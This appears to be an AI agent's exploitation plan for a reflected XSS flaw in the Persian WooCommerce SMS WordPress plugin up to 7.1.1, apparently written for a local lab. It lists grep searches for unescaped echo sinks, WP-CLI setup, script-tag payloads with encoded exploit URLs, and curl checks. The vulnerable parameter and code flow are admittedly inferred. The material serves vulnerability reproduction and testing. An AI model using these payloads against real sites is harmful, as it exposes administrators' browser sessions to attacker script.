Persian Woocommerce SMS <= 7.1.1 - Reflected Cross-Site Scripting

This research plan focuses on identifying and exploiting a reflected Cross-Site Scripting (XSS) vulnerability in the Persian WooCommerce SMS plugin (version <= 7.1.1). Since the source code is not provided, the plan includes discovery steps to pinpoint the exact unescaped output sink.

1. Vulnerability Summary

The Persian WooCommerce SMS plugin fails to properly sanitize or escape user-controlled input before reflecting it back into the HTML response. This allows an unauthenticated attacker to craft a malicious URL that, when visited by a user (typically an administrator), executes arbitrary JavaScript in the context of that user's browser. The vulnerability likely exists in a parameter used for displaying status messages, tab navigation, or search results within the plugin's admin or public pages.

2. Attack Vector Analysis

• Endpoint: Likely wp-admin/admin.php (admin-side reflection) or a public-facing page (e.g., SMS tracking or subscription forms).
• Parameter: Common candidates for reflected XSS in this plugin type include message, status, tab, s, or custom parameters like sms_id.
• Authentication: Unauthenticated (to craft/send the link), but requires a logged-in user (usually an Admin) to click the link for maximum impact (CVSS 6.1).
• Preconditions: The plugin must be active.

3. Code Flow (Inferred)

1. The plugin registers an admin menu or a shortcode handler.
2. Inside the display logic, the code retrieves a value from the superglobals: $val = $_GET['message'] or $val = $_REQUEST['tab'].
3. The code echoes this value directly into the HTML without calling esc_html(), esc_attr(), or wp_kses().
   • Example Sink: echo '<div class="updated"><p>' . $_GET['message'] . '</p></div>';

4. Discovery & Nonce Strategy

Reflected XSS typically occurs during the rendering phase and does not usually require a nonce to trigger the reflection, even if the page itself requires authentication. However, we must identify the correct parameter.

Discovery Steps:

1. Identify Admin Slugs:
   Use WP-CLI to find the plugin's admin pages:
   wp admin-menu list --format=csv | grep "persian-woocommerce-sms"
2. Search for Sinks:
   Search the plugin directory for dangerous patterns:
   • grep -rP "echo\s+\\\$_GET" /var/www/html/wp-content/plugins/persian-woocommerce-sms/
   • grep -rP "echo\s+\\\$_REQUEST" /var/www/html/wp-content/plugins/persian-woocommerce-sms/
   • grep -rn "printf" /var/www/html/wp-content/plugins/persian-woocommerce-sms/ | grep "GET"

Nonce Acquisition (If needed for a specific view):

If the reflection only occurs on a page that is strictly generated after a nonce check (unlikely for reflected XSS but possible):

1. Identify the shortcode: grep -r "add_shortcode" /var/www/html/wp-content/plugins/persian-woocommerce-sms/
2. Create a page: wp post create --post_type=page --post_status=publish --post_content='[PW_SMS_SHORTCODE]'
3. Navigate to the page and check for localized data: browser_eval("window.pwsms_obj?.nonce") (inferred variable name).

5. Exploitation Strategy

Once the vulnerable parameter is identified (e.g., message), the exploit involves crafting a URL.

Target URL (Hypothetical):
http://localhost:8080/wp-admin/admin.php?page=persian-woocommerce-sms&message=</span><script>alert(document.domain)</script>

Step-by-Step Plan:

1. Active Plugin: Ensure the plugin is active.
2. Login as Admin: Use the browser_login tool to establish an admin session.
3. Confirm Reflection:
   Use http_request to visit the target URL with a canary:
   • Method: GET
   • URL: http://localhost:8080/wp-admin/admin.php?page=persian-woocommerce-sms-settings&message=CANA_RY_XSS (Replace persian-woocommerce-sms-settings with the actual slug found in discovery).
4. Execute Payload:
   If the canary is reflected unescaped, send the XSS payload:
   • Payload: "><script>alert(1)</script>
   • Encoded URL: http://localhost:8080/wp-admin/admin.php?page=[SLUG]&message=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

6. Test Data Setup

1. Install Plugin: Ensure persian-woocommerce-sms version 7.1.1 is installed and active.
2. WooCommerce Requirement: This plugin depends on WooCommerce. Ensure WooCommerce is installed and configured (at least basic setup).
3. Admin User: Ensure an admin user exists (default admin / password).

7. Expected Results

• The HTTP response body should contain the literal string "><script>alert(1)</script> without HTML entity encoding (no ", <, or >).
• If using browser_navigate, an alert box should trigger.

8. Verification Steps

1. Manual Verification:
   curl -s "http://localhost:8080/wp-admin/admin.php?page=[SLUG]&message=test" -b cookies.txt | grep "test"
2. Check for Sanitization:
   If the output is <script>, the version is patched or you are hitting a different code path.
3. Confirm Lack of Escaping:
   Search the identified file/line found in Step 4 and confirm the absence of esc_html() or similar functions around the echo statement.

9. Alternative Approaches

• Admin Tab XSS: If message is not vulnerable, check the tab parameter. Many plugins echo the current tab name into the page title or a hidden input field.
• Bulk Actions: Check for XSS in the s (search) parameter on the SMS logs page (if one exists).
• Public Side: If the plugin provides a "Check SMS Status" form, test the input fields there for reflection in the error/success messages.